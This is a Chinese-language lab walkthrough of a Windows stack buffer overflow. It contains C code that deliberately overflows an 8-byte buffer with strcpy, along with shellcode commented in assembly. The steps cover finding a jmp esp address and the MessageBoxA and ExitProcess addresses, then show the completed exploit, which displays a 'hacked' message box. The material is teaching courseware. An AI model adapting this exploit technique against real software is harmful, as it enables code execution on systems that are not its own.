#include "string.h" #include "stdio.h" #include "windows.h" char name[] = "ABCDEFGH" "IJKL" "\xb3\x00\x00\x00"//填入获取的jmp esp指令地址 "\x33\xDB" //xor ebx,ebx "\x53" //push ebx "\x68\x69\x6E\x67\x20"//push 0x20676e69 "\x68\x57\x61\x72\x6E"//push 0x6e726157 "\x8B\xC4" //mov eax,esp "\x53" //push ebx "\x68\x21\x20\x20\x20"//push 0x20202021 "\x68\x63\x6b\x65\x64"//push 0x64656b63 "\x68\x6e\x20\x68\x61"//push 0x6168206e "\x68\x20\x62\x65\x65"//push 0x65656220 "\x68\x68\x61\x76\x65"//push 0x65766168 "\x68\x59\x6f\x75\x20"//push 0x20756f59 "\x8B\xCC" //mov ecx,esp "\x53"//push ebx "\x50"//push eax "\x51"//push ecx "\x53"//push ebx "\xb8\x00\x00\x00\x00"//MessageBoxA地址赋给eax "\xFF\xD0" //call eax "\x53" //push ebx "\xb8\x00\x00\x00\x00" //将之前实验获取的ExitProcess函数的地址赋给eax "\xFF\xD0"; //call eax; int main() { char buffer[8]; LoadLibrary("user32.dll"); strcpy(buffer,name); printf("%s\n",buffer); getchar(); return 0; }
获取jmp esp 指令地址:
打开缓冲区溢出文件夹—找到Searchjmp文件夹,加载SearhjmpEsp.dsw文件。运行程序,程序列出jmp esp指令的地址。我们随机选取一个jmp esp的地址,例如:0x75a0a0b3如下图所示:获取jmp esp指令地址
获取对话框函数(注入函数)地址:
通过漏洞调用MessageBoxA对话框首先要获取相关函数的地址,双击打开缓冲区溢出文件夹—找到Searchjmp文件夹,加载SerchFunctionAddr.dsw文件,运行程序。获取对应函数的地址。函数MessageBoxA的地址为0x759aea11,函数ExitProcess的地址为0x76e0214f。如图2-2-3所示。(修改代码可以获取其他API函数的地址)为了让溢出程序正常关闭,这里我们还获取了ExitProcess函数的地址
将获取jmp esp 指令地址和获取对话框函数(注入函数)地址,替换overrun.cpp文件内的jmp esp指令地址和MessageBoxA和ExitProcess地址。
#include "string.h" #include "stdio.h" #include "windows.h" char name[] = "ABCDEFGH" "IJKL" "\xb3\xa0\xa0\x75"//填入获取的jmp esp指令地址 "\x33\xDB" //xor ebx,ebx "\x53" //push ebx "\x68\x69\x6E\x67\x20"//push 0x20676e69 "\x68\x57\x61\x72\x6E"//push 0x6e726157 "\x8B\xC4" //mov eax,esp "\x53" //push ebx "\x68\x21\x20\x20\x20"//push 0x20202021 "\x68\x63\x6b\x65\x64"//push 0x64656b63 "\x68\x6e\x20\x68\x61"//push 0x6168206e "\x68\x20\x62\x65\x65"//push 0x65656220 "\x68\x68\x61\x76\x65"//push 0x65766168 "\x68\x59\x6f\x75\x20"//push 0x20756f59 "\x8B\xCC" //mov ecx,esp "\x53"//push ebx "\x50"//push eax "\x51"//push ecx "\x53"//push ebx "\xb8\x11\xea\x9a\x75"//MessageBoxA地址赋给eax "\xFF\xD0" //call eax "\x53" //push ebx "\xb8\x4F\x21\xe0\x76" //将之前实验获取的ExitProcess函数的地址赋给eax "\xFF\xD0"; //call eax; int main() { char buffer[8]; LoadLibrary("user32.dll"); strcpy(buffer,name); printf("%s\n",buffer); getchar(); return 0; }